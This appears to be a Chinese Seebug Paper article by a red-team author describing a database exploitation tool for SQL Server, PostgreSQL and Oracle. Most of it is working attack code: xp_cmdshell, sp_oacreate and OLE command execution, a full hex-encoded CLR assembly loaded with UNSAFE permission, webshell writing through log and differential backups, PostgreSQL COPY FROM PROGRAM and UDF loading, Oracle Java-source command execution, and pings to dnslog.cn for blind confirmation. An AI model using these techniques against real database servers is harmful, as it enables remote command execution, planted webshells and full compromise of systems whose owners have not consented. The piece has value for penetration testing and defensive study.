作者:ryze@nop
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:paper@seebug.org

0x00 前言

起因是在某红队项目中,获取到Oracle数据库密码后,利用Github上的某数据库利用工具连接后,利用时执行如 tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误,且文件管理功能出现问题,无法上传webshell,因此萌生了重写利用工具的想法。

大概耗时十天,顺带手把 postgresql 和 sql server 这两个护网中的常见数据库的利用也写了。

因为要做图形化,所以选择使用 C#。

github地址:Ryze-T/Sylas: 数据库综合利用工具 (github.com)

0x01 Sql Server

1.1 文件查看

目录查看

sql server 的目录查看比较简单,代码为:

sqlCmd.CommandText = String.Format("exec xp_dirtree '{0}',1,1",path);

第一个 1 指的是目录深度,只看查询文件夹下的,不再列出更深层次的目录,第二个 1 指的是将文件也列出来

image-20220216173527943

文件查看

文件查看用的是 openrowset(),在官方文档中有一句话,使用 BULK 可以从文件中读取数据,格式如下:

SELECT * FROM OPENROWSET(
   BULK 'C:\DATA\inv-2017-01-19.csv',
   SINGLE_CLOB) AS DATA;

这里有一个 SINGLE_CLOB,同样可选的选项还有 SINGLE_BLOB 和 SINGLE_NCLOB,三个的含义是读出的文件内容以 varchar、varbinary 和 nvarchar 三种格式返回,在 C# 里常用的读取数据库查询返回结果的是语句是

SqlDataReader reader = sqlCmd.ExecuteReader();
while (reader.Read())
{
    res = reader.GetString(0);
}

因此用 SINGLE_BLOB 可以满足 GetString()。

image-20220216173608059

1.2 命令执行

命令执行的方法有这里使用了三种:xp_cmdshell、sp_oacreate、CLR。

xp_cmdshell

老生常谈,最通用的方法。

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'

image-20220216173920289

sp_oacreate

无回显的方法,也是sqlmap中默认集成的方法之一:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c ping dnslog.cn'

CLR

Microsoft SQL Server 2005之后,微软实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。 CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行。

编写过程如下:

在 visual studio 中安装数据存储和处理工具集:

image-20220216174424705

新建 sql server 数据库项目:

image-20220216174453986

在项目属性中设置创建脚本文件:

image-20220216175223054

在其中编写代码后生成,在生成的文件夹下可以看到一个 sql 文件,打开后其中就有将该dll通过十六进制导入到 mssql 中的sql语句:

CREATE ASSEMBLY [execCmd]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005045000064860200434309620000000000000000F00022200B023000000C000000040000000000000000000000200000000000800100000000200000000200000400000000000000060000000000000000600000000200000000000003006085000040000000000000400000000000000000100000000000002000000000000000000000100000000000000000000000000000000000000000400000A0020000000000000000000000000000000000000000000000000000342A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000004800000000000000000000002E746578740000006C0B000000200000000C000000020000000000000000000000000000200000602E72737263000000A00200000040000000040000000E00000000000000000000000000004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000200050058220000DC07000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008A00280600000A7201000070721100007002280700000A28020000066F0800000A002A001B300600AF0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0800000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0800000A0000389D00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C15001106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A22518721B000070A22519076F1C00000A13091209282000000AA2251A7253000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0800000A0000067B010000046F1D00000A130A2B00110A2A00011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E0000140300009C03000023537472696E677300000000B00600005C000000235553000C0700001000000023475549440000001C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000C20101000000000006005C01A40206007C01A4020600320191020F00C402000006002603CE010A00460144020E00FF0291020600D501CE0106001602640306001701A4020E00E40291020A00700344020A000F0144020600B001CE010E00ED0191020E00BE0091020E002B0291020600FE01330006000B02330006002400CE01000000002A00000000000100010001001000D3020000150001000100030110000100000015000100040006005A037900482000000000960072007D0001006C2000000000960088001500020038220000000086188B020600040038220000000086188B02060004004122000000008300160082000400000001007A0000000100DE0000000200150300000100240200000200FA0209008B02010011008B02060019008B020A0031008B02060051008B02060061000601100071001F031500690090001B0039008B0206003900DF0132007900D1001B0071008E033700790007031B0079007B033C007900AE00410079009A013C00790071023C0079003F033C0049008B02060089008B02470039005B004D003900390353003900E700060039005F02570099007E005C0039002D0306004100A2005C003900950060002900AE015C004900FB0064004900B7016000A100AE015C0071001F036A0029008B020600590049005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA00200004800000000000000000000000000000000072000000040000000000000000000000700052000000000004000000000000000000000070003D00000000000400000000000000000000007000CE0100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F75747075744461746152656365697665640065786563436D6400636D640052656164546F456E6400436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E6774680065786563436D642E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900000F63006D0064002E00650078006500000920002F006300200000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A0020000000000035D5C552B0F5D241BA64075327476EEC0004200101080320000105200101111104000012350500020E0E0E042001010E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000004343096200000000020000001C010000502A0000500C000052534453CBD23558102A184C9F870C819FD401E801000000433A5C55736572735C746573745C4465736B746F705C436F64655C434C525C65786563436D645C65786563436D645C6F626A5C7836345C44656275675C65786563436D642E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000440200000000000000000000440234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004A4010000010053007400720069006E006700460069006C00650049006E0066006F0000008001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000038000C00010049006E007400650072006E0061006C004E0061006D0065000000650078006500630043006D0064002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D0065000000650078006500630043006D0064002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    WITH PERMISSION_SET = UNSAFE;

在执行前打开 CLR并设置数据库为 trustworthy:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'clr enabled', 1;RECONFIGURE;
alter database master set trustworthy on

然后执行导出的语句,并创建 procedure:

CREATE PROCEDURE [dbo].[SqlCmdExec] @cmd NVARCHAR(MAX) AS EXTERNAL NAME[SqlCmdExec].[StoredProcedures].[SqlCmdExec]

通过执行 EXEC SqlCmdExec 'whoami' 可以做到可回显的代码执行:

image-20220216175740635

1.3 写webshell

写webshell采用的两种方法:Log备份和差异备份,这两种方法其实都属于有损写文件,因此其中会包含很多其他字符,因此用来写webshell合适,用来当做文件上传的功能不合适,如果想文件上传最合适的其实还是 Ole Automation Procedures,调用 ADODB.Stream。写 webshell前两个就可以满足,更推荐用 Log备份,体积更小。差异备份和Log备份只要是db_owner 就可以满足,并不一定需要 dba。

Log 备份

Log 备份需要先更新数据库为恢复模式,然后创建一个表,提前备份一次后,在表中插入webshell的十六进制,再备份一次,代码如下:

sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("alter database {0} set RECOVERY FULL;", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.dbo.test7913(a image);", databaseName);
sqlCmd.CommandText = String.Format("backup log {0} to disk = 'c:/windows/temp/xxx.bak' with init;", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(a) values ({1});", databaseName, webshellCode);
sqlCmd.CommandText = String.Format("backup log {0} to disk = '{1}'; ", databaseName, uploadPath);

工具默认给的十六进制webshell是原版冰蝎3.0的aspx版本webshell,结果如图:

image-20220216191941438

差异备份

代码如下:

sqlCmd.CommandText = String.Format("backup database {0} to disk = 'C:/windows/temp/1.bak';", databaseName);
sqlCmd.CommandText = String.Format("create table {0}.[dbo].[test7913] ([cmd] [image]);", databaseName);
sqlCmd.CommandText = String.Format("insert into {0}.dbo.test7913(cmd) values({1});",databaseName,webshellCode);
sqlCmd.CommandText = String.Format("backup database {0} to disk='{1}' WITH DIFFERENTIAL,FORMAT;", databaseName, uploadPath);

结果如上图。

0x02 Postgresql

postgresql 相对简单,但是在UDF提权的过程中也有一些坑点

2.1 文件查看

查看目录

select pg_ls_dir('/')

image-20220216213922383

查看文件

select pg_read_file('/etc/passwd')

image-20220216214019847

2.2 webshell 上传

string sql = String.Format("copy  (select '{1}') to '{0}';",uploadPath,fileContent);

image-20220216214158489

2.3 命令执行

postgresql 的命令执行有两种,分别是cve-2019-9193和udf提权

CVE-2919-9193

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令

因此利用这个特性可以做到9.3版本后的任意代码执行,具体代码实现:

CREATE TABLE cmdExec(cmd_output text);COPY cmdExec FROM PROGRAM 'whoami';SELECT * FROM cmdExec;DROP TABLE IF EXISTS cmdExec;

image-20220216214435830

udf

postgresql的UDF提权跟Mysql有区别,由于在动态链接库的编写过程中需要 #include <postgres.h>,每个版本的 postgres.h 都不一样,因此针对每个版本都需要在特定版本的 postgresql-server 环境下重新编译。正常安装的 postgresql 并不包含 postgres.h,要安装 postgresql-server-dev-xx

代码在 sqlmap 的 github中,项目名称叫 udfhack。

编译时命令是:

gcc hack.c -I server_path -fPIC -shared -o udf.so
strip -sx udf.so

此时需要将 udf.so 传入到目标机器中,这里采用的是 lo_create 和 lo_export。lo_create 的作用是新建一个大型对象并返回该对象的 oid,lo_export 的作用是导出该对象。对象可以通过 insert 填充内容。

在insert的过程中,需要将 udf.so 分割成 2048b 的若干个文件,转换成十六进制后使用 insert 插入到对象中,这里要分割的原因是因为每一次的insert最多只能插入 2048 个字节,若不满会用 0 进行填充。

这里附上之前收藏的文件分割的代码和文件转hex的代码:

## 文件分割
import sys,os

kilobytes = 1024
megabytes = kilobytes*1000
chunksize = int(200*megabytes)#default chunksize

def split(fromfile,todir,chunksize=chunksize):
    if not os.path.exists(todir):#check whether todir exists or not
        os.mkdir(todir)
    else:
        for fname in os.listdir(todir):
            os.remove(os.path.join(todir,fname))
    partnum = 0
    inputfile = open(fromfile,'rb')#open the fromfile
    while True:
        chunk = inputfile.read(chunksize)
        if not chunk:             #check the chunk is empty
            break
        partnum += 1
        filename = os.path.join(todir,('part%04d'%partnum))
        fileobj = open(filename,'wb')#make partfile
        fileobj.write(chunk)         #write data into partfile
        fileobj.close()
    return partnum
if __name__=='__main__':
        fromfile  = input('File to be split?')
        todir     = input('Directory to store part files?')
        chunksize = int(input('Chunksize to be split?'))
        absfrom,absto = map(os.path.abspath,[fromfile,todir])
        print('Splitting',absfrom,'to',absto,'by',chunksize)
        try:
            parts = split(fromfile,todir,chunksize)
        except:
            print('Error during split:')
            print(sys.exc_info()[0],sys.exc_info()[1])
        else:
            print('split finished:',parts,'parts are in',absto)
## file2hex
import binascii,os
fh = open(r"1/part0006", 'rb')
a = fh.read()
hexstr = binascii.b2a_hex(a)
print(hexstr)

SQL实现为:

SELECT lo_create(1234)
insert into pg_largeobject values (1234, 0, decode('...', 'hex'));
insert into pg_largeobject values (1234, 1, decode('...', 'hex'));
SELECT lo_export(1234, '/tmp/test123.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/test123.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id')

部署环境比较麻烦,所以只做了 Linux 下的 postgresql-12 的 udf 提权,作为学习使用

image-20220216220736242

0x03 Oracle

3.1 命令执行

Oracle 命令执行主要使用的是 DBMS_XMLQUERY 和 DBMS_SCHEDULER。

DBMS_XMLQUERY

利用 DBMS_XMLQUERY.newcontext() 可以执行任意 sql 语句,因此在无需堆叠的情况下,通过 select dbms_xmlquery.newcontext(sql) from dual 就可以创建 JAVA source 和 存储过程实现 JAVA 功能,通过调用可以实现基于JAVA的代码执行。

创建过程如下:

string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"SysUtil\" as import java.io.*; public class SysUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str=\"\";while ((stemp = myReader.readLine()) != null) str +=stemp+\"\\n\";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual";

string sql2 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function SysRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''SysUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual";

实现效果如图:

image-20220216110711534

但执行 taklist /svc 仍然会出错,主要是因为在执行命令返回的字符串中存在截断,某些特定的命令,通过 wmic 查询也可以实现,因此设计了快速执行按钮,调用 wmic 实现查询进程、查看用户、查看补丁和查看系统版本,如图:

image-20220216110832573

DBMS_SCHEDULER

DBMS_SCHEDULER 可以定时执行任务,格式如下:

BEGIN DBMS_SCHEDULER.CREATE_JOB(
    JOB_NAME=>'xxx',
    JOB_TYPE=>'EXECUTABLE',
    ENABLED =>TRUE,
    AUTO_DROP =>FALSE,
    JOB_ACTION=>'{cmd}',
    NUMBER_OF_ARGUMENTS => 0)

因此通过此方法可以执行任意命令,但有两个需要注意的点:

  • 无回显
  • 由于执行时并未规定 cmd 路径,因此执行时输入的命令应为:ping.exe xxx.dnslog.cn 或 cmd.exe /c echo 1 > 1.txt

由于无回显,在现在网上流传的 Oracle 连接工具中都没有判断命令是否执行成功的标识。实际上在 CREATE_JOB 后是可以通过

select job_name,state from user_scheduler_jobs where JOB_NAME = 'xxx';

来判断 JOB 是否创建成功以及是否在运行或者已经运行结束的,因此根据下列逻辑就可以判断出命令是否成功执行:

while (reader.Read())
{
    job_name = reader.GetString(0).ToLower();
    job_state = reader.GetString(1).ToLower();
}
if (job_name == "")
{return "0";}
else if (job_state == "running" || job_state == "succeeded")
{return "1";}
else
{return "-1";}

3.2 文件管理

查看目录

查看目录采取的也是DBMS_XMLQUERY.newcontext() 创建 JAVA source 和 存储过程实现 JAVA功能。

string sql1 = "select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named \"FileUtil\" as import java.io.*; public class FileUtil extends Object{public static String filemanager(String path) {String res = \"\";try{File file = new File(path);File[] listFiles = file.listFiles();for (File f : listFiles) {if(f.isDirectory()){res += \"d --> \" + f.getName()+\"\\n\";}else{res += \"f --> \" + f.getName() + \"\\n\";}}return res;}catch(Exception e){return e.toString();}}}'';commit;end;') from dual";

实现如图:

image-20220216141217680

上传文件

从根本上来说,由于可以创建 JAVA source,理论上所有的功能都可以通过这个方法来实现,但是这里上传文件利用的是 utl_file。

Oracle 官方介绍中也说了, utl_file 可以实现读取或写入操作系统文本文件,由于使用 utl_file.open() 打开文件最大字符数为32767,因此上传时最多只能上传32KB的文本文件。这个功能用来上传webshell已经是足够了。

image-20220216143244416

目标路径只需要填写需要上传的文件夹,点击选择上传后可以打开文件夹选定要上传的文件,上传后的文件名与打开的文件一致,上传成功后 Log窗口会有提示:

image-20220216143348966

代码为:

string sql = "create or replace directory TESTFILE as '" + path + "'";
string sql2 = "DECLARE \nfilehandle utl_file.file_type;\nbegin\nfilehandle := utl_file.fopen('TESTFILE', '" + filename + "', 'w',32767); utl_file.put(filehandle, '" + file + "');utl_file.fclose(filehandle);end; ";

3.3 后续

由于Oracle 特性,可以做到任意JAVA代码执行,做到这个相当于可以自己写入JAVA代码,完成任意功能,现在网上关于 Oracle 连接利用的工具大多数都是采用这一方法。因此工具后续的目标是把这个功能从固定代码改成可自定义代码,实现一劳永逸的效果。

0x04 参考

2015_06251711341945.pdf (nsfocus.com.cn)

渗透过程中Oracle数据库的利用 Loong716

PostgreSQL入门及提权_weixin_34075268的博客-CSDN博客


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1836/